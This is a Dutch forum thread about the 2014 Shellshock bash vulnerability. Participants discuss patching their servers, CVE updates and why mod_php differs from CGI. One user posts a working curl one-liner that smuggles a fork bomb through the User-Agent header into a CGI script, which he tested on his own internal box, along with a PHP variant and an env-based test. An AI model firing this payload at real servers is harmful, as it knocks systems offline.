shellshock / bash bug implicaties

[ubremoved_2964]

Ben een beetje aan het rondkijken naar implicaties van de shellshock / bash bug.

http://security.stackexchange.com/quest ... -exploited

Moet uiteraard al mijn publieke machines gaan aflopen:

1. mailserver = centos 5.X VM -> updated
2. webserver2 = centos 6.X physical -> updated
3. webserver1 = centos 4.X VM helaas geen updates meer voor, dus dringend eens wegmigreren, deze draait een oude joomla 1.5.X
4. vpn server = centos 5.X -> updated
5. mailserver old = centos 5.X -> updated

Dus mijn webserver1 is momenteel een mogelijke attack vector, gezien oude joomla + docman, die over de jaren heen niet successvol aangevallen is geweest, buiten tweemaal een issue met de joomla session table, maar toen was mysql gecrashed (een tabel diende repaired te worden). Gelukkig heb ik van die oude node een full daily backup.

[Tim.Bracquez]

De bugfix is nog niet 100%, dus er komt nog een nieuwe update (snel)
Dus we gaan nog eens moeten updaten...

Al een geluk dat je alles kan automatiseren, hier véél servers moeten nalopen.

[ubremoved_2964]

Ben nu zelf aan het testen, zwaar onder de indruk van de implicaties ...

https://www.invisiblethreat.ca/2014/09/cve-2014-6271/

Heb die poc.cgi uit bovenstaande URL in de cgi-bin dir van een een interne vortexbox 2.2 geduwd genaamd "aaz"', die fedora 16 based is.

Deze curl lijn lanceert blijkbaar een fork bom, en de machine is bijna direct dood ...

Code: Selecteer alles

curl -A '() { :; }; :(){ :|: & };:' http://aaz/cgi-bin/poc.cgi

impressed .... pingen is het enige wat de node nog doet, met een verschrikkelijk jitter ... load average: 690.92

met PHP scripts die een sudo shell openen, lukt het helaas niet, bvb

Code: Selecteer alles

curl -A '() { :; }; :(){ :|: & };:' 'http://aaz/upgrade.php?action=Upgrade'

waarbij upgrade.php bevat

Code: Selecteer alles

switch($_action) {
        case 'Upgrade':
                exec("sudo /opt/vortexbox/doaction.sh Upgrade & >/dev/null 2>&1");
        break;

of php houdt het tegen, of sudo stript alles alvorens suid te gaan

[cyrano]

Het houdt ook niet op bij Bash, vrees ik. Ook dhcpd is kwetsbaar.

Er is ondertussen een nieuw CVE toegewezen vanwege een incomplete fix:
http://web.nvd.nist.gov/view/vuln/detai ... -2014-7169

Weeral wachten op nieuwe updates.

[cyrano]

of php houdt het tegen, of sudo stript alles alvorens suid te gaan

Is het niet zo dat CGI rechtstreeks met /bin/bash praat en PHP via een symlink? Of draait PHP in safe mode?

[ubremoved_2964]

Zit met redelijk wat audiofielen op FB die totaal geen verstand hebben van linux & security.

Heb even fun gehad met het maken van deze video demo:



Op onze muziekservers staat uiteraard geen vulnerable cgi-bin, maar die ik heb ik for sake of the demo, er maar even op gegooid, en een fork bomb losgelaten.
Wat dat met het geluid doet spreekt boekdelen.

Was dit een echte server, dan ging de machine onderuit, gezien de fork bomb ervoor zorgt dat je geen nieuwe processen vlot kan starten.
Dit is dan nog braaf, ik had ook rm -rf / of een botnet kunnen starten

[ITnetadmin]

Private video.

[ Post made via mobile device ]

[ubremoved_2964]

of php houdt het tegen, of sudo stript alles alvorens suid te gaan

Is het niet zo dat CGI rechtstreeks met /bin/bash praat en PHP via een symlink? Of draait PHP in safe mode?

php wordt geparsed via mod_php, en die zet geen speciale environment variabelen, due die is in principe safe

het wordt echter anders als de ouderwetse cgi wordt opgestart, dat verloopt altijd via een shell omgeving

die shell voert dan /usr/bin/php of /usr/bin/perl of gewoon /bin/bash uit

de apache zet een hoop headers om in shell variabelen, waaronder de user agent
als in die user agent een attack string zit, heb je dus prijs ...

[ubremoved_2964]

Private video.

[ Post made via mobile device ]

fixed, was vergeten op publish duwen ... thx ... vroeg me al af waarom FB geen thumbnail toonde

[cyrano]

het wordt echter anders als de ouderwetse cgi wordt opgestart, dat verloopt altijd via een shell omgeving

die shell voert dan /usr/bin/php of /usr/bin/perl of gewoon /bin/bash uit

de apache zet een hoop headers om in shell variabelen, waaronder de user agent
als in die user agent een attack string zit, heb je dus prijs ...

Tenzij je naar bin/sh gaat

[ubremoved_2964]

Helaas ....

Code: Selecteer alles

[root@nas ~]# ls -la /bin/sh
lrwxrwxrwx. 1 root root 4 May  4 03:15 /bin/sh -> bash

[cyrano]

Hier is dat (Debian)

Code: Selecteer alles

lrwxrwxrwx 1 root root 4 Mar  1  2012 /bin/sh -> dash

En ondertussen is er
http://security.debian.org/ wheezy/updates/main bash amd64 4.2+dfsg-0.1+deb7u3 [1,501 kB]

[cyrano]

Het eerste botnet is er ook al, valt Akamai en US DOD netwerken aan:

http://www.itnews.com.au/News/396197,fi ... works.aspx

[Tim.Bracquez]

Zo, de full update: http://tweakers.net/nieuws/98693/nieuwe ... kbaar.html

[solid-killer]

Voor de mensen die nog niet volledig mee zijn met het verhaal hier is het in 4 minuten:

http://youtu.be/aKShnpOXqn0

[Tim.Bracquez]

Oei: http://tweakers.net/nieuws/98719/tweede ... -over.html Toch niet voldoende

[ubremoved_2964]

Die nieuwe exploit is veel moeilijker te gebruiken ....

Code: Selecteer alles

# env cat='() { echo userbase/; }'
# ./test.sh
# env cat='() { echo userbase/; }' ./test.sh
userbase/

Je kan het cat commando niet zomaar herdefiniëren door attack code in een shell variabele te duwen met dezelfde naam als het commando wat je wil herdefiniëren. Dat werkt dus niet!

Pas wanneer je het env commando gebruikt in combinatie met het script wat je wil exploiteren als 2e argument, gaat dit werken.
Dus via een attack vector een variabele zoals cat definiëren, zal niet werken. Pas wanneer je reeds op één of andere manier een shell kan uitvoeren, zal dit werken, maar dan kan je even goed een eigen cat commando maken en die vooraan in je PATH steken .....